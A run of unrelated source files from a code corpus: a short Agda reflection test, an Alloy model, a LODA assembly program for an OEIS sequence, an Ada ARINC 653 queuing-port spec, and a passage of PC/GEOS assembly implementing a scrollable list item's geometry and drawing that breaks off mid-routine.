open import Common.Equality
open import Common.Reflection
module M₁ (A₁ : Set) where
data D (B : Set) : Set where
type₁ : TC Type
type₁ = getType (quote D)
module M₂ (A₂ : Set) where
open M₁ A₂
type₂ : TC Type
type₂ = getType (quote D)
open M₁ Nat
open M₂ Nat
foo : type₁ ≡ type₂
foo = cong getType {quote D} {quote D} ?
|
alloy4fun_models/trashltl/models/3/5iit2ZNkjmLF5W6kF.als | Kaixi26/org.alloytools.alloy | 0 | 5053 | open main
pred id5iit2ZNkjmLF5W6kF_prop4 {
some File && no Trash
eventually some Trash
}
pred __repair { id5iit2ZNkjmLF5W6kF_prop4 }
check __repair { id5iit2ZNkjmLF5W6kF_prop4 <=> prop4o } |
programs/oeis/263/A263537.asm | jmorken/loda | 1 | 100235 | ; A263537: Integers k such that A098531(k) is divisible by A000071(k+2).
; 1,2,13,25,31,43,55,61,73,85,91,103,115,121,133,145,151,163,175,181,193,205,211,223,235,241,253,265,271,283,295,301,313,325,331,343,355,361,373,385,391,403,415,421,433,445,451,463,475,481,493,505,511,523,535,541,553,565,571,583,595,601,613,625,631,643,655,661,673,685,691,703,715,721,733,745,751,763,775,781,793,805,811,823,835,841,853,865,871,883,895,901,913,925,931,943,955,961,973,985,991,1003,1015,1021,1033,1045,1051,1063,1075,1081,1093,1105,1111,1123,1135,1141,1153,1165,1171,1183,1195,1201,1213,1225,1231,1243,1255,1261,1273,1285,1291,1303,1315,1321,1333,1345,1351,1363,1375,1381,1393,1405,1411,1423,1435,1441,1453,1465,1471,1483,1495,1501,1513,1525,1531,1543,1555,1561,1573,1585,1591,1603,1615,1621,1633,1645,1651,1663,1675,1681,1693,1705,1711,1723,1735,1741,1753,1765,1771,1783,1795,1801,1813,1825,1831,1843,1855,1861,1873,1885,1891,1903,1915,1921,1933,1945,1951,1963,1975,1981,1993,2005,2011,2023,2035,2041,2053,2065,2071,2083,2095,2101,2113,2125,2131,2143,2155,2161,2173,2185,2191,2203,2215,2221,2233,2245,2251,2263,2275,2281,2293,2305,2311,2323,2335,2341,2353,2365,2371,2383,2395,2401,2413,2425,2431,2443,2455,2461,2473,2485
mul $0,2
trn $0,1
mov $2,$0
mov $3,$0
mul $0,2
add $0,2
sub $0,$3
mul $3,2
mov $4,5
lpb $0
sub $0,1
trn $0,2
mov $1,$4
add $2,$3
add $2,3
add $3,2
sub $1,$3
add $1,2
mov $3,3
lpe
add $1,$2
sub $1,7
|
libpok/ada/arinc653/apex-queuing_ports.ads | samueltardieu/pok | 1 | 27911 | <filename>libpok/ada/arinc653/apex-queuing_ports.ads
-- POK header
--
-- The following file is a part of the POK project. Any modification should
-- be made according to the POK licence. You CANNOT use this file or a part
-- of a file for your own project.
--
-- For more information on the POK licence, please see our LICENCE FILE
--
-- Please follow the coding guidelines described in doc/CODING_GUIDELINES
--
-- Copyright (c) 2007-2020 POK team
-- ---------------------------------------------------------------------------
-- --
-- QUEUING PORT constant and type definitions and management services --
-- --
-- ---------------------------------------------------------------------------
with APEX.Processes;
package APEX.Queuing_Ports is
Max_Number_Of_Queuing_Ports : constant :=
System_Limit_Number_Of_Queuing_Ports;
subtype Queuing_Port_Name_Type is Name_Type;
type Queuing_Port_Id_Type is private;
Null_Queuing_Port_Id : constant Queuing_Port_Id_Type;
type Queuing_Port_Status_Type is record
Nb_Message : Message_Range_Type;
Max_Nb_Message : Message_Range_Type;
Max_Message_Size : Message_Size_Type;
Port_Direction : Port_Direction_Type;
Waiting_Processes : APEX.Processes.Waiting_Range_Type;
end record;
procedure Create_Queuing_Port
(Queuing_Port_Name : in Queuing_Port_Name_Type;
Max_Message_Size : in Message_Size_Type;
Max_Nb_Message : in Message_Range_Type;
Port_Direction : in Port_Direction_Type;
Queuing_Discipline : in Queuing_Discipline_Type;
Queuing_Port_Id : out Queuing_Port_Id_Type;
Return_Code : out Return_Code_Type);
procedure Send_Queuing_Message
(Queuing_Port_Id : in Queuing_Port_Id_Type;
Message_Addr : in Message_Addr_Type;
Length : in Message_Size_Type;
Time_Out : in System_Time_Type;
Return_Code : out Return_Code_Type);
procedure Receive_Queuing_Message
(Queuing_Port_Id : in Queuing_Port_Id_Type;
Time_Out : in System_Time_Type;
Message_Addr : in Message_Addr_Type;
-- The message address is passed IN, although the respective message is
-- passed OUT
Length : out Message_Size_Type;
Return_Code : out Return_Code_Type);
procedure Get_Queuing_Port_Id
(Queuing_Port_Name : in Queuing_Port_Name_Type;
Queuing_Port_Id : out Queuing_Port_Id_Type;
Return_Code : out Return_Code_Type);
procedure Get_Queuing_Port_Status
(Queuing_Port_Id : in Queuing_Port_Id_Type;
Queuing_Port_Status : out Queuing_Port_Status_Type;
Return_Code : out Return_Code_Type);
private
type Queuing_Port_Id_Type is new APEX_Integer;
Null_Queuing_Port_Id : constant Queuing_Port_Id_Type := 0;
pragma Convention (C, Queuing_Port_Status_Type);
-- POK BINDINGS
pragma Import (C, Create_Queuing_Port, "CREATE_QUEUING_PORT");
pragma Import (C, Send_Queuing_Message, "SEND_QUEUING_PORT_MESSAGE");
pragma Import (C, Receive_Queuing_Message, "RECEIVE_QUEUING_MESSAGE");
pragma Import (C, Get_Queuing_Port_Id, "GET_QUEUING_PORT_ID");
pragma Import (C, Get_Queuing_Port_Status, "GET_QUEUING_PORT_STATUS");
-- END OF POK BINDINGS
end APEX.Queuing_Ports;
|
Library/SpecUI/CommonUI/CItem/citemScrollableItem.asm | steakknife/pcgeos | 504 | 244246 | <reponame>steakknife/pcgeos
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: CommonUI/COpen (common code for several specific UIs)
FILE: copenScrollableItem.asm
ROUTINES:
Name Description
---- -----------
GLB OLScrollableItemClass Scrollableing list item class
REVISION HISTORY:
Name Date Description
---- ---- -----------
Clayton 7/89 Initial version
Eric 4/90 New USER/ACTUAL exclusive usage, extended
selection, cleanup.
DESCRIPTION:
$Id: citemScrollableItem.asm,v 1.2 98/03/11 05:54:40 joon Exp $
------------------------------------------------------------------------------@
COMMENT @CLASS DESCRIPTION-----------------------------------------------------
OLScrollableItemClass:
Synopsis
--------
NOTE: The section between "Declaration" and "Methods declared" is
copied into uilib.def by "pmake def"
State Information
-----------------
Declaration
-----------
OLScrollableItemClass class OLItemClass
uses GenItemClass
OLScrollableItemClass endc
Methods declared
----------------
Methods inherited
-----------------
Additional documentation
------------------------
------------------------------------------------------------------------------@
;USE_VIS_ATTR_FLAGS = 0
CommonUIClassStructures segment resource
OLScrollableItemClass mask CLASSF_DISCARD_ON_SAVE or \
mask CLASSF_NEVER_SAVED
CommonUIClassStructures ends
;---------------------------
GadgetBuild segment resource
COMMENT @----------------------------------------------------------------------
METHOD: OLScrollableItemInitialize -- MSG_META_INITIALIZE for
OLScrollableItemClass
DESCRIPTION: Initialize item ctrl from a Generic Group object
PASS:
*ds:si - instance data
es - segment of OlMenuClass
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 2/89 Initial version
------------------------------------------------------------------------------@
OLScrollableItemInitialize method private static OLScrollableItemClass, \
MSG_META_INITIALIZE
uses bx, di, es ; To comply w/static call requirements
.enter ; that bx, si, di, & es are preserved.
; NOTE that es is NOT segment of class
; Grow out vis
; Do superclass init
mov di, segment OLScrollableItemClass
mov es, di
mov di, offset OLScrollableItemClass
CallSuper MSG_META_INITIALIZE
;Set ScrollableItem instance data
mov di, ds:[si]
add di, ds:[di].Vis_offset
; This single object becomes entire
; visual representation, so set
; optimization bit.
ornf ds:[di].VI_specAttrs, mask SA_SIMPLE_GEN_OBJ
if SCROLL_LIST_GRID_LINES_AND_SPACING
; Check for grid line hints on parent and set item flags
push si
call GenSwapLockParent
push bx
mov ax, HINT_ITEM_GROUP_GRID_LINES
call ObjVarFindData
jnc unlock
mov ax, {ScrollListGridState}ds:[bx]
mov ds:[di].OLSII_gridState, ax
unlock:
pop bx
call ObjSwapUnlock
pop si
endif ; SCROLL_ITEM_GRID_LINES_AND_SPACING
done:
EC< call ECScrollableItemCompField ; Make sure there's no junk in comp >
.leave
ret
OLScrollableItemInitialize endp
COMMENT @----------------------------------------------------------------------
METHOD: OLScrollableItemSpecBuild --
MSG_SPEC_BUILD for OLScrollableItemClass
DESCRIPTION: Builds out an item.
PASS: *ds:si - instance data
es - segment of MetaClass
ax - MSG_SPEC_BUILD
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chris 3/13/92 Initial Version
------------------------------------------------------------------------------@
OLScrollableItemSpecBuild method dynamic OLScrollableItemClass,
MSG_SPEC_BUILD
mov di, offset OLScrollableItemClass
call ObjCallSuperNoLock
; Turn off this fine optimization, since the item's size sometimes
; depends on the size of the window. If the item group does not pass
; a new size to the item, MSG_VIS_RECALC_SIZE won't get called anyway.
; (Always recalc size has to be turned on for the same reason, it
; seems. Otherwise, when the window is resized, the item group
; passes desired, gets the old size back, and is never motivated to
; change.)
;
mov di, ds:[si]
add di, ds:[di].Vis_offset
andnf ds:[di].VI_geoAttrs, not mask VGA_ONLY_RECALC_SIZE_WHEN_INVALID
ornf ds:[di].VI_geoAttrs, mask VGA_ALWAYS_RECALC_SIZE
; Calculate the size of the item, in case we're in a dynamic list and
; will never receive a geometry update.
;
mov ax, MSG_OL_SLIST_RECALC_ITEM_SIZE
call VisCallParent
call VisSetSize
ret
OLScrollableItemSpecBuild endm
GadgetBuild ends
Geometry segment resource
COMMENT @----------------------------------------------------------------------
METHOD: OLScrollableItemRecalcSize --
MSG_VIS_RECALC_SIZE for OLScrollableItemClass
DESCRIPTION: Returns the size of the item. This is always determined by
the scroll list, unless passed zeros by the scroll list to get
its minimum size (zeroes are passed to differentiate it from
normal geometry manager functions.)
PASS: *ds:si - instance data
es - segment of OLScrollableItemClass
di - MSG_VIS_GET_SIZE
cx - width info for choosing size
dx - height info
RETURN: cx - width to use
dx - height to use
DESTROYED: ax, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 3/15/89 Initial version (button?)
Clayton 8/89 Initial version
------------------------------------------------------------------------------@
OLScrollableItemRecalcSize method private static OLScrollableItemClass,
MSG_VIS_RECALC_SIZE
uses bx, di, es ; To comply w/static call requirements
.enter ; that bx, si, di, & es are preserved.
; NOTE that es is NOT segment of class
tst cx ; both cx and dx are zero, choose
jnz getFromParent ; our own size. Else get from the
tst dx ; parent list, who knows all.
jz calcDesired
getFromParent: ; else let scroll list determine size
mov ax, MSG_OL_SLIST_RECALC_ITEM_SIZE
call VisCallParent
jmp short exit
calcDesired:
segmov es, ds
EC < call GenCheckGenAssumption ; Make sure gen data exists >
call Geo_DerefGenDI
mov di, ds:[di].GI_visMoniker ; fetch moniker
clr bp ;get have no GState...
call SpecGetMonikerSize ;get size of moniker
OLS < add cx, SCROLL_ITEM_INSET_X*2 >
OLS < add dx, SCROLL_ITEM_INSET_X*2 >
if _CUA_STYLE
add cx, MO_SCROLL_ITEM_INSET_X*2
add dx, MO_SCROLL_ITEM_INSET_Y*2
endif
CUAS < call AddExtraSpaceIfInMenu ;add extra to cx if menu >
CUAS < call AddExtraSpaceIfInMenu >
if SCROLL_LIST_GRID_LINES_AND_SPACING
call AddGridLineSpacingIfNeeded
endif
OLS < mov ax, BUTTON_MIN_WIDTH ;minimum width >
CUAS < mov ax, CUAS_SCROLL_ITEM_MIN_WIDTH >
cmp cx, ax ;avoid making too small
jae exit
mov_tr cx, ax
exit:
.leave
ret
OLScrollableItemRecalcSize endp
COMMENT @----------------------------------------------------------------------
METHOD: OLScrollableItemGetExtraSize --
MSG_SPEC_GET_EXTRA_SIZE for OLScrollableItemClass
DESCRIPTION: Returns the extra size of the object (without the moniker).
PASS: *ds:si - instance data
es - segment of MetaClass
ax - MSG_SPEC_GET_EXTRA_SIZE
RETURN: cx, dx - extra size of scroll item
DESTROYED: ax, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 11/ 7/89 Initial version
------------------------------------------------------------------------------@
OLScrollableItemGetExtraSize method OLScrollableItemClass, \
MSG_SPEC_GET_EXTRA_SIZE
if _CUA_STYLE
mov cx, MO_SCROLL_ITEM_INSET_X*2
mov dx, MO_SCROLL_ITEM_INSET_Y*2
endif
CUAS < call AddExtraSpaceIfInMenu ;add extra to cx if menu >
CUAS < call AddExtraSpaceIfInMenu >
if SCROLL_LIST_GRID_LINES_AND_SPACING
call AddGridLineSpacingIfNeeded
endif
ret
OLScrollableItemGetExtraSize endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AddGridLineSpacingIfNeeded
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: If this scrolling list has grid lines, then we may need to
add some additional spacing
CALLED BY: OLScrollableItemRecalcSize, OLScrollableItemGetExtraSize
PASS: *ds:si = OLScrollableItemClass
cx, dx = size
RETURN: cx, dx = with gridline spacing added if needed
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Joon 5/24/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if SCROLL_LIST_GRID_LINES_AND_SPACING
AddGridLineSpacingIfNeeded proc near
.enter
mov di, ds:[si]
add di, ds:[di].Vis_offset
mov di, ds:[di].OLSII_gridState
mov ax, di
andnf di, mask SLGS_VGRID_SPACING
add cx, di
andnf ax, mask SLGS_HGRID_SPACING
xchg al, ah
add dx, ax
.leave
ret
AddGridLineSpacingIfNeeded endp
endif
Geometry ends
ItemCommon segment resource
COMMENT @----------------------------------------------------------------------
METHOD: OLScrollableItemMkrPos --
MSG_GET_FIRST_MKR_POS for OLScrollableItemClass
DESCRIPTION: Returns the position of its moniker.
PASS: *ds:si - instance data
es - segment of OLScrollableItemClass
ax - MSG_GET_FIRST_MKR_POS
RETURN: carry set, saying method was handled
ax, cx -- position of moniker
DESTROYED: dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 11/ 1/89 Initial version
------------------------------------------------------------------------------@
OLScrollableItemMkrPos method OLScrollableItemClass, MSG_GET_FIRST_MKR_POS
test ds:[di].VI_attrs, mask VA_VISIBLE ; test clears carry
jz exit ; not visible, get out.
segmov es, ds, cx
mov cx, (J_LEFT shl offset DMF_X_JUST) or \
(J_CENTER shl offset DMF_Y_JUST)
clr bp ;no gstate
if _CUA_STYLE ;--------------------------------------------------------------
mov bx, si ;pass gen chunk in es:bx (same as ds:si here)
;yes, this takes time, but we MUST now pass OpenMonikerArgs on the
;stack to OpenGetMonikerPos
sub sp, size OpenMonikerArgs
mov bp, sp ;set up args on stack
call OLItemSetupMkrArgs ;set up arguments for moniker
mov dx, (MO_MENU_BUTTON_INSET_Y shl 8) or MO_MENU_BUTTON_INSET_X
mov ss:[bp].OMA_drawMonikerFlags, (J_LEFT shl offset DMF_X_JUST) or \
(J_CENTER shl offset DMF_Y_JUST)
call OpenGetMonikerPos
EC < call ECVerifyOpenMonikerArgs ;make structure still ok >
add sp, size OpenMonikerArgs
endif ;--------------------------------------------------------------
mov cx, bx ;return y pos in cx
tst ax
jz exit ;no moniker, exit (c = 0)
stc ;say handled
exit:
ret
OLScrollableItemMkrPos endp
COMMENT @----------------------------------------------------------------------
METHOD: OLScrollableItemDraw -- MSG_VIS_DRAW for OLScrollableItemClass
DESCRIPTION: Draw the scroll item.
PASS: *ds:si - instance data
es - segment of MetaClass
ax - MSG_VIS_DRAW
cl - DrawFlags: DF_EXPOSED set if updating
bp - GState to use
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
Call the correct draw routine based on the display type:
if (black & white) {
DrawBWItem();
} else {
DrawColorItem();
}
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 4/90 initial version
------------------------------------------------------------------------------@
OLScrollableItemDraw method OLScrollableItemClass, MSG_VIS_DRAW
EC < call VisCheckVisAssumption ; Make sure vis data exists >
EC < call GenCheckGenAssumption ; Make sure gen data exists >
EC< call ECScrollableItemCompField ; Make sure there's no junk in comp >
call ClearNavigateFlagsIfValid ;clear this if needed
;If not realized, don't try & draw. This is needed because ScrollList
;calls children to draw directly, not through VisCompDraw.
call IC_DerefVisDI
test ds:[di].VI_attrs, mask VA_REALIZED
jnz drawItem
exit:
ret
drawItem:
if SCROLL_LIST_GRID_LINES_AND_SPACING
; Ugly hack. We temporarily adjust the item bounds so it'll draw
; inside the grid lines with the grid spacing we want for the item.
push ds:[di].VI_bounds.R_left
push ds:[di].VI_bounds.R_top
push ds:[di].VI_bounds.R_right
push ds:[di].VI_bounds.R_bottom
call OLScrollableItemSetGridBounds
endif
; SAVE BYTES: have color flag already!
; get display scheme data
segmov es, ds, di
push bp ;Save the GState
mov di, bp ;put GState in di
if not _ASSUME_BW_ONLY ;------------------------------------------------------
push cx ;save DrawFlags
mov ax, GIT_PRIVATE_DATA
call GrGetInfo ;returns ax, bx, cx, dx
pop cx
; al = color scheme, ah = display type, cl = update flag
; *ds:si = OLItem object
andnf ah, mask DF_DISPLAY_TYPE
cmp ah, DC_GRAY_1
mov ch, cl ;Pass DrawFlags in ch
mov cl, al ;Pass color scheme in cl
OLS < jne color ;skip if on color screen... >
MO < jne color ;skip if on color screen... >
ISU < jne color ;skip if on color screen... >
endif ; not _ASSUME_BW_ONLY -----------------------------------------------
; draw black & white
CallMod DrawBWScrollableItem
if _OL_STYLE or _MOTIF or _ISUI ;---------------------------------------------
jmp short common
if not _ASSUME_BW_ONLY
color: ;draw color item
CallMod DrawColorScrollableItem
endif
endif ; _OL_STYLE or _MOTIF or _ISUI ---------------------------------------
;SAVE BYTES here. Do calling routines do this work for us?
common:
pop di ; Restore the GState
mov bx, ds:[si] ; Check if the item is
add bx, ds:[bx].Vis_offset ; enabled.
if SCROLL_LIST_GRID_LINES_AND_SPACING
; undo the vis bounds adjustment we made for grid lines and spacing
pop ds:[bx].VI_bounds.R_bottom
pop ds:[bx].VI_bounds.R_right
pop ds:[bx].VI_bounds.R_top
pop ds:[bx].VI_bounds.R_left
endif
test ds:[bx].VI_attrs, mask VA_FULLY_ENABLED
jnz updateState ; If so, exit
mov al, SDM_100 ; If not, reset the draw masks
call GrSetAreaMask ; to solid
call GrSetLineMask
call GrSetTextMask
updateState:
call UpdateItemState
ret
OLScrollableItemDraw endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLScrollableItemSetGridBounds
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the bounds of this object adjusted for grid spacing
CALLED BY: DrawColorScrollableItemGridLines
PASS: *ds:si = OLScrollableItemClass
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Joon 5/25/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if SCROLL_LIST_GRID_LINES_AND_SPACING
OLScrollableItemSetGridBounds proc near
uses ax,bx,cx,dx,di,bp
.enter
mov di, ds:[si]
add di, ds:[di].Vis_offset
mov bp, ds:[di].OLSII_gridState ; bp <- ScrollListGridState
tst bp ; anything to adjust?
jz done ; exit if nothing
call VisGetBounds ; get item bounds
push ax
mov ax, bp ; ax <- ScrollListGridState
andnf ax, mask SLGS_HGRID_SPACING ; ah <- horiz grid spacing
xchg al, ah ; ax <- horiz grid spacing
shr ax, 1 ; ax <- 1/2 horiz grid spacing
pushf
sub dx, ax ; move bottom up by 1/2 horiz
popf
adc bx, ax ; move top down by 1/2 horiz
pop ax
andnf bp, mask SLGS_VGRID_SPACING ; bp <- vert grid spacing
shr bp, 1 ; bp <- 1/2 vert grid spacing
pushf
sub cx, bp ; move right over by 1/2 vert
popf
adc ax, bp ; move left over by 1/2 vert
mov ds:[di].VI_bounds.R_left, ax
mov ds:[di].VI_bounds.R_top, bx
mov ds:[di].VI_bounds.R_right, cx
mov ds:[di].VI_bounds.R_bottom, dx
done:
.leave
ret
OLScrollableItemSetGridBounds endp
endif ; SCROLL_LIST_GRID_LINES_AND_SPACING
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DrawScrollableItemGridLines
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw grid lines around the item
CALLED BY: DrawColorScrollableItem
PASS: *ds:si = OLItemClass object
di = GState
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Joon 5/14/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if SCROLL_LIST_GRID_LINES_AND_SPACING
DrawScrollableItemGridLines proc far
uses ax, bx, cx, dx, bp
.enter
; Draw grid lines if needed
mov bp, ds:[si]
add bp, ds:[bp].Vis_offset
mov bp, ds:[bp].OLSII_gridState
test bp, mask SLGS_HGRID_LINES or mask SLGS_VGRID_LINES
jz done
mov ax, C_BLACK
call GrSetLineColor ; grid lines are always black
; We need to deal with the case where the grid lines of adjacent items
; are suppose to overlap each other. So we make each item draw the
; top or left grid line one pixel up or to the left. But we can't do
; that for the topItem because moving up one pixel will put us outside
; the bounds of the scrolling view.
mov ax, MSG_OL_SLIST_GET_SLIST_ATTRS
call VisCallParent ; cl = OLScrollListAttrs
mov ax, bp ; al = vGrid, ah = hGrid
test cl, mask OLSLA_VERTICAL
jz checkSpacing
mov al, ah ; al = hGrid
checkSpacing:
test al, mask SLGS_VGRID_SPACING ; grid line spacing ?= 0
jnz drawNormal ; draw normal if !overlapping
push cx, bp
mov ax, MSG_OL_SLIST_GET_TOP_ITEM
call VisCallParent
mov ax, ds:[LMBH_handle]
cmpdw axsi, cxdx ; are we the topItem?
pop cx, bp
je drawTopItem ; draw topItem
drawNormal:
test cl, mask OLSLA_VERTICAL
pushf
call OpenGetLineBounds ; (ax,bx) - (cx,dx)
popf
jnz verticalList
horizontalList: ; horizontal list
dec ax ; move left over one pixel
jmp drawGridLines
verticalList: ; vertical list
dec bx ; move up one pixel
jmp drawGridLines
drawTopItem:
call OpenGetLineBounds
drawGridLines:
test bp, mask SLGS_HGRID_LINES ; check horiz grid lines
jz doVert
call GrDrawHLine ; draw grid line
xchg bx, dx
call GrDrawHLine ; draw grid line
xchg bx, dx
doVert:
test bp, mask SLGS_VGRID_LINES ; check vert grid lines
jz done
call GrDrawVLine ; draw grid line
mov ax, cx
call GrDrawVLine ; draw grid line
done:
.leave
ret
DrawScrollableItemGridLines endp
endif ; SCROLL_LIST_GRID_LINES_AND_SPACING
COMMENT @----------------------------------------------------------------------
ROUTINE: ClearNavigateFlagsIfValid
SYNOPSIS: Turns off navigate flags if our object's moniker has become
valid.
CALLED BY: OLScrollableItemDraw
PASS: *ds:si -- item
RETURN: nothing
DESTROYED: di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 3/24/92 Initial version
------------------------------------------------------------------------------@
ClearNavigateFlagsIfValid proc near
call IC_DerefVisDI
test ds:[di].OLII_state, mask OLIS_MONIKER_INVALID
jnz exit ;moniker still invalid, branch
andnf ds:[di].OLII_state, not (mask OLIS_NAVIGATE_IF_DISABLED or \
mask OLIS_NAVIGATE_BACKWARD)
exit:
ret
ClearNavigateFlagsIfValid endp
COMMENT @----------------------------------------------------------------------
METHOD: OLScrollableItemUpdateVisMoniker --
MSG_SPEC_UPDATE_VIS_MONIKER for OLScrollableItemClass
DESCRIPTION: Handles update of monikers.
PASS: *ds:si - instance data
es - segment of MetaClass
ax - MSG_SPEC_UPDATE_VIS_MONIKER
dx - VisUpdateMode
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chris 4/14/92 Initial Version
------------------------------------------------------------------------------@
OLScrollableItemUpdateVisMoniker method dynamic OLScrollableItemClass,
MSG_SPEC_UPDATE_VIS_MONIKER
call VisCheckIfSpecBuilt
jnc done
;
; Only consider the no-update optimization if the moniker is currently
; invalid, and we're guaranteed to get a mass redraw later. 5/25/93 cbh
;
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLII_state, mask OLIS_MONIKER_INVALID
jz doUpdate
;
; This seems to improve performance dramatically, but who knows if
; it really works. -cbh 5/13/93
;
call VisCheckIfFullyEnabled
jc done ;done, redraw after all items
; are invalidated will catch
; the draw.
doUpdate:
;
; Avoid nasty geometry being redone. (Disabled items seem to need
; the invalidate to guarantee the old moniker is fully erased.)
;
mov dl, VUM_NOW ;we can update things NOW
mov cl,mask VOF_IMAGE_INVALID ;CL <- what to mark invalid
GOTO VisMarkInvalid ; Mark object image as invalid
done:
ret
OLScrollableItemUpdateVisMoniker endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLItemSetUseColorIfDisabled
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets AX = the appropriate color for the object if it is
disabled.
CALLED BY: DrawColorScrollableItem
PASS: *ds:si - instance data for OLScrollableItem object
ax = enabled color
RETURN: ax = new disabled color, if disabled
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Currently distinguishes 3 states of the item, resulting
in 3 distinct color schemes:
1) Enabled
2) Disabled & cursored
3) Disabled & not cursored
REVISION HISTORY:
Name Date Description
---- ---- -----------
reza 12/29/94 Initial version
cthomas 5/16/96 Distinguish selected/non-selected cases
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if USE_COLOR_FOR_DISABLED_GADGETS
OLItemSetUseColorIfDisabled proc far
uses di
.enter
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VI_attrs, mask VA_FULLY_ENABLED
jnz exit ;skip if is enabled...
mov ax, DISABLED_COLOR ; assume not selected
;
; Distinguish non-enabled + selected vs. non-enabled non-selected
;
test ds:[di].OLII_state, mask OLIS_SELECTED
jz exit
mov ax, DISABLED_CURSORED_COLOR
exit:
.leave
ret
OLItemSetUseColorIfDisabled endp
endif ; USE_COLOR_FOR_DISABLED_GADGETS
ItemCommon ends
DrawBW segment resource
COMMENT @----------------------------------------------------------------------
FUNCTION: DrawBWScrollableItem
DESCRIPTION: Draw an OLScrollableItemClass object on a black & white display.
CALLED BY: OLScrollableItemDraw
PASS: *ds:si - instance data
ch - DrawFlags: DF_EXPOSED set if updating
di - GState to use
RETURN: *ds:si - same
DESTROYED: ax, bx, cx, dx, di, bp
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/89 Initial version
Eric 3/90 cleanup
------------------------------------------------------------------------------@
if _OL_STYLE or _MOTIF or _ISUI
DrawBWScrollableItem proc far
class OLScrollableItemClass
EC < call VisCheckVisAssumption ;Make sure vis data exists >
call OLItemGetGenAndSpecState
;sets: bh = OLBI_specState (low byte)
; cl = OLBI_optFlags
; dl = GI_states
; dh = OLII_state
mov ax, C_WHITE
call GrSetAreaColor
mov ax, C_BLACK
if USE_COLOR_FOR_DISABLED_GADGETS
call OLItemSetUseColorIfDisabled
endif
call GrSetTextColor ; DrawBWScrollableItemBackground sets
call GrSetLineColor ; these later. What's the point?
if _DISABLED_SCROLL_ITEMS_DRAWN_WITH_SDM_50
;set the draw masks to 50% if this object is disabled
mov al, SDM_50 ;Use a 50% mask
call OLItemSetMasksIfDisabled
; jnz 10$
;10$:
endif
;if this is a MSG_META_EXPOSED event, then force a full redraw.
test ch, mask DF_EXPOSED
jnz fullRedraw ;skip if so...
test cl, mask OLBOF_DRAW_STATE_KNOWN
jz fullRedraw ;skip if have no old state info...
;this is not a MSG_META_EXPOSED event. So some status flag(s) in this
;item object have changed. Compare old vs. new state to see what
;has changed
clr ch ;default flag: is not FULL REDRAW
mov al, bh ;get OLBI_specState
xor al, cl ;compare to OLBI_optFlags
push di ;can I trash this? Who knows.
mov di, ds:[si] ;point to instance
add di, ds:[di].Vis_offset
mov ah, ds:[di].VI_attrs ;get VI_attrs
xor ah, cl ;compare to OLBI_optFlags
test ah, mask VA_FULLY_ENABLED
pop di
jz drawCommon ;skip if same enabled status...
deltaEnabledStatus:
;the ENABLED status has changed. If that is all that changed,
;then just wash over this object with a 50% pattern, making it
;look as if we redrew it with 50% masks.
test al, OLBOF_STATE_FLAGS_MASK
jnz fullRedraw ;if any other flags changed,
;force a full redraw...
if _DISABLED_SCROLL_ITEMS_DRAWN_WITH_SDM_50
call CheckIfJustDisabled
